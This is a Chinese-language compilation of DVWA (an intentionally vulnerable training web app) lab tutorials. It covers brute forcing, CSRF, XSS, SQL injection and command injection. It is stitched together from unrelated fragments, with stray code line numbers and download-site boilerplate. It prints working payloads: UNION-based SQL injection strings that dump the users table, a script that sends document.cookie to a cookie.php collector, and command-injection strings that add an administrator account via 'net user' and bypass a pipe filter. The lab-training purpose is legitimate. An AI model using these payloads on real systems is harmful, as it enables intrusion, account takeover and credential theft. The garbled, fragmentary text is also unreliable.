DVWA 命令执行
Web漏洞实战教程(DVWA的使用和漏洞分析)

但不能避免暴力破解,即使安全级别设置为高仍然不可以避免暴力破解的,因为认证模式本身就是基础认 证,不包含什么时间频度判断和表单 token 值的判断。 第二个栏目是 Command Execution(蛋碎一地的命令执行)
[PHP 源码审计基础]DVWA 的分析与测试3(CSRF)
DVWA 的第三个栏目 Cross Site Request Forgery (CSRF)这个最近很火的,哈哈,DVWA 里面就比较简单 了
修改密码得到链接如下 1 /vulnerabilities/csrf/?password_current=password&password_new=passw ord&password_conf=password&Change=Change#
35
36
// Determine OS and execute the ping command.
37
if (stristr(php_uname('s'), 'Windows NT')) {
38
39
$cmd = shell_exec( 'ping ' . $target );
40
echo '<pre>'.$cmd.'</pre>';
17
18
}
19 20 }
21 ?>
PHP 源码审计实战教程(DVWA 漏洞实例分析)
PHP 源码审计实战教程(DVWA 漏洞实例分析)
漏洞演示系统DVWA攻略

漏洞演示系统DVWA(Damn Vulnerable Web Application) V1.8攻略测试环境:操作系统:Windows 8.1 、Windows 7运行时:.Net Framework 3.5PHP+MySQL集成测试环境:XAMPP V3.2.1首先,从/ 下载DVWA,并将文件释放到c:\xampp\htdocs\DVWA修改配置文件config\config.inc.php ,设置数据库连接账号及默认的安全级别:$_DVWA[ 'db_server' ] = 'localhost';$_DVWA[ 'db_database' ] = 'dvwa';$_DVWA[ 'db_user' ] = 'root';$_DVWA[ 'db_password' ] = 123456;$_DVWA['default_security_level'] = "low";然后,访问http://127.0.0.1/DVWA/login.php第一关,就是考虑如何登录进去。
这里,我们计划采取挂字典进行暴力登录尝试,这类工具称之为Bruter,下面以WebCruiser Web Vulnerability Scanner V2.8.0 ( )为例。
首先,随便输入一个错误的用户名和密码,这里输入123和456:提交后,切换到Resend(重放)界面:最新的请求在最上面,点击它,可以在右边看到详细信息。
点击“Bruter”按钮:软件自动切换到Bruter界面,并且自动发现username和password字段(如果使用了特殊的参数名,则手工从下拉列表中选中它)。
Bruter提供了两种字典方式,一种是用户名和密码使用不同的字典,另一种是使用网络已泄漏的(用户名:密码)组合。
DVWA——XSS(跨站脚本攻击)

DVWA——XSS(跨站脚本攻击)XSS概念:XSS攻击全称跨站脚本攻击,XSS是⼀种经常出现在web应⽤中的计算机安全漏洞,它允许恶意web⽤户将代码植⼊到提供给其它⽤户使⽤的页⾯中。
⽐如这些代码包括HTML代码和客户端脚本。
XSS有三种:反射型XSS:只是简单地把⽤户输⼊的数据反射给浏览器,简单来说,⿊客往往需要⽤户诱使⽤户点击⼀个恶意链接,才能攻击成功。
存储型XSS:将⽤户输⼊的数据存储在服务器端。
DOM XSS:通过修改页⾯的DOM节点形成的XSS。
(可能是存储型也可能使反射型)反射型XSS:Low级:<?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';}>我们可以看到,代码直接引⽤了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
所以我们构造payload语句:<script>alert(/111/)</script>,可以看到直接就执⾏了我们的js代码。
在www⽬录下创建⼀个cookie.php⽂件,内容如下:<?php$cookie=$_GET['cookie'];//将get请求参数存储到cookie变量中file_put_contents('cookie.txt',$cookie);//把偷取的⽤户cookie写到cookie.txt⽂件中>编写js代码将页⾯的cookie发送到cookie.php中:<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>#后⾯的参数要进⾏URL编码,页⾯发⽣跳转后,我们发现在WWW⽬录下多了个 cookie⽂件,打开发现成功拿到了cookie。
DVWA-SQL注入

DVWA-SQL注⼊DVWA-SQL注⼊⼀、SQL注⼊概念SQL注⼊是指攻击者通过注⼊恶意的SQL命令,破坏SQL查询语句的结构,从⽽达到执⾏恶意SQL语句的⽬的。
⼆、⼿⼯注⼊常规思路1.判断是否存在注⼊,注⼊是字符型还是数字型2.猜解SQL查询语句中的字段数3.确定回显位置4.获取当前数据库5.获取数据库中的表6.获取表中的字段名7.得到数据三、DVWA注⼊分析将DVWA的级别设置为low1.分析源码,可以看到没有对参数做任何的过滤,直接带⼊数据库进⾏查询,分析sql查询语句,可能存在字符型sql注⼊。
2.判断sql是否存在存⼊,以及注⼊的类型1' and '1'='13.猜解SQL查询语句中的字段数3.1 1' order by 2#3.2 1' order by 3#3.3从上⾯两个图可以说明,SQL语句查询的表的字段数是24.确定显⽰的位置(SQL语句查询之后的回显位置)1' union select 1,2# #下图可以看出有2个回显5.查询当前的数据库,以及版本1' union select version(),database()#6.获取数据库中的表1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#7.获取表中的字段名1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#8.获得字段中的数据1' union select user,password from users#将DVWA的级别设置为Medium1.下图可以看到中级加⼊了⼀些防御,不让⽤户输⼊,只提供选择(可以⽤burpsuit抓包来绕过),分析源码可以看到对参数使⽤mysql_real_escape_string函数转义sql语句中的⼀些特殊字符,查看sql查询语句可以看出可能存在数字型sql注⼊2.通过burpsuit抓包,修改数据包,绕过防御2.1判断注⼊点,以及注⼊的类型,下图可以看到,存在注⼊,注⼊类型是数字型注⼊2.2猜解sql查询语句中的字段的个数,下图说明字段的个数为22.3.确定回显的位置,下图可以说明有2个回显位置1 union select 1,2#2.4.获取当前数据库的名称以及版本1 union select database(),version()#2.5获取数据库中的所有表1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#2.6获取表中的所有字段名考虑到单引号被转义,可以利⽤ 16 进制进⾏绕过union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #2.7获取字段中的数据1 union select user,password from users#将DVWA的级别设置为High1.将dvwa设置为⾼级,可以看出,点击”here to change your ID”,页⾯⾃动跳转,防御了⾃动化的SQL注⼊,分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过 2.2获得密码将DVWA的级别设置为Impossible1.分析源码可以看到使⽤了PDO技术,杜绝了SQL注⼊。
Web渗透-命令行攻击

Web渗透-命令行攻击
实验虚拟主机各自用户名密码:
O-metas3--1主机
用户名:root
密码:123456
第一步、打开网络拓扑,登入metas3
用户名:root
密码:123456
该实验机的地址是192.168.99.33 第二步、根据实验安排自行修改地址修改方法:
#ifconfig eth0 ip地址
第三步、登录dvwa
登录访问DVWA,默认用户名:admin密码:password
登录之后,将 dvwa 的安全级别调成 low,low 代表安全级别最低,存在较容易测试的漏洞。
命令执行可谓是web里最高危的漏洞了,有可能可以直接写下shell或者直接添加用户。
选择”command execution”
输入0|ls
可以得到你需要的文件目录了
第四步、实验结束,关闭相关界面。
DVWA靶机使用指南

选择Manual proxy configuration,HTTP Proxy设置为127.0.0.1,端口(Port)设置为8080。
第二步:使用BurpSuite进行抓包
随便输入密码进行登录。
使用BurpSuite进行抓包,可以看见第一行包含账号密码。
get_token()方法使用正则表达式从html页面中抓取user_tokn的值,为了方便展示,只尝试十次。
从左往右依次是序号,用户名,密码和返回的页面的长度,对比结果可以发现,当密码为password的时候,返回的页面长度不一样,然后进行手工登录验证,登陆成功。
第三节
3.1 爆破步骤
第一步:配置本地代理
2.2
2
相比Low级别的代码,Medium级别的代码中增加了mysqli_real_escape_string()函数,这个函数可以对一些特殊字符进行转义,包括\x00, \n , \r , \ , ’ , ”,\x1a等,可以有效地防止sql注入,同时在验证失败以后会执行sleep(2),但是这些方法并不能有效地防止爆破。
(1)WEB应用的登录界面,应用所在的网络环境里没有部署流量清洗设备
(2)如果用户的口令确定是弱口令,此时爆破的成功率非常高
第二节
2.1
2.
2
为了更好地理解爆破的原理,根据源码来进行分析,可以看到,服务器端只是验证了参数Login是否被设置和账号密码是否正确,没有加入任何的防爆破机制。
2
第一步:配置本地代理
选中密码,点击Add按钮,将密码设置为需要破解的变量。
第四步:设置字典文件
点击Payloads,点击Load加载外部字典。
dvwa 实验实训手册

以下是dvwa实验实训手册:
一、实验环境搭建
1. 安装phpstudy+mysql,配置完成后可以直接访问IP:80。
2. 打开config.inc.php文件,修改以下内容:
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvw';
二、实验内容
1. Brute Force(爆破)
a. 在登录界面,服务器只验证了参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password 没有做任何过滤,存在明显的sql注入漏洞。
b. 输入用户名和密码后,login抓包,send to Intruder。
c. 选择password的值为payload positions;payload Options导入自己的爆破字典,进行爆破。
d. 分析响应的长度,明显密码就是password。
2. SQL注入
a. 打开DVWA的初始化界面,账号密码为admin admin。
b. 在环境界面选择SQL Injection。
c. 攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
三、实验总结
通过本次实验,我们了解了dvwa实验的基本操作和安全防护措施,提高了对网络安全的认识和防范能力。
同时,也发现了自己在网络安全方面的不足之处,需要进一步加强学习和实践。
DVWA——简介

DVWA——简介
Web应⽤程序(DVWA)是⼀个很容易受到攻击的PHP / MySQL Web应⽤程序。
其主要⽬标是帮助安全专业⼈员在法律环境中测试他们的技能和⼯具,帮助Web开发⼈员更好地了解保护Web应⽤程序的过程,并帮助学⽣和教师了解受控类中的Web应⽤程序安全性房间环境。
DVWA的⽬标是通过简单直接的界⾯练习⼀些最常见的Web漏洞,具有各种难度。
请注意,此软件存在记录和未记录的漏洞。
DVWA共有⼗个模块,分别是:
Brute Force(暴⼒破解)
Command Injection(命令⾏注⼊)
CSRF(跨站请求伪造)
File Inclusion(⽂件包含)
File Upload(⽂件上传)
Insecure CAPTCHA (不安全的验证码)
SQL Injection(SQL注⼊)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站脚本)
XSS(Stored)(存储型跨站脚本)附上双语对照图⽚
的理解漏洞的原理。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Low
1.既然是ping 命令的话,那么我们先ping 127.0.0.1
2.在DOS下允许同时执行多条命令的符号主要有以下几个:
“|”:前面命令输出结果作为后面命令的输入内容;
“||”:前面命令执行失败的时候才执行后面的命令;
“&”:前面命令执行后接着执行后面的命令;
“&&”:前面命令执行成功了才执行后面的命令。
如果是Linux系统,还可以使用分号(;),也可以同时执行多条命令。
所以尝试列出系统的所有用户,使用ping 127.0.0.1 | net user
3.尝试添加新的用户名,使用ping 127.0.0.1 | net user opc 123456 /add
4.显示乱码了,没关系,使用ping 127.0.0.1 | net user opc 验证一下
5.将新用户添加到administrators 组,使用ping 127.0.0.1 | net localgroup
administrators opc /add
6.依然乱码,再次使用ping 12
7.0.0.1 | net user opc 验证一下
7.映射C 盘
8.成功入侵
Medium
High
1.与low一样,使用ping 127.0.0.1 | net user,发现报错
2.查看源代码,发现它过滤了‘&’,‘;’,‘| ’,‘-’,‘$’,‘(’,‘)’,‘`’,
‘||’
3.以上代码美中不足的是,它过滤的是‘| ’ ,而不是‘|’。
所以,我们把‘|’两边的
空格删掉就可以了。
使用ping 127.0.0.1|net user dvwa 123456 /add
9.将新用户添加到administrators 组,使用ping 127.0.0.1|net localgroup
administrators dvwa /add
10.显示乱码了,没关系,使用ping 127.0.0.1|net user dvwa 验证一下
11.映射C 盘
12.成功入侵
13.修复
14.现在我们尝试列出目录,发现出错了。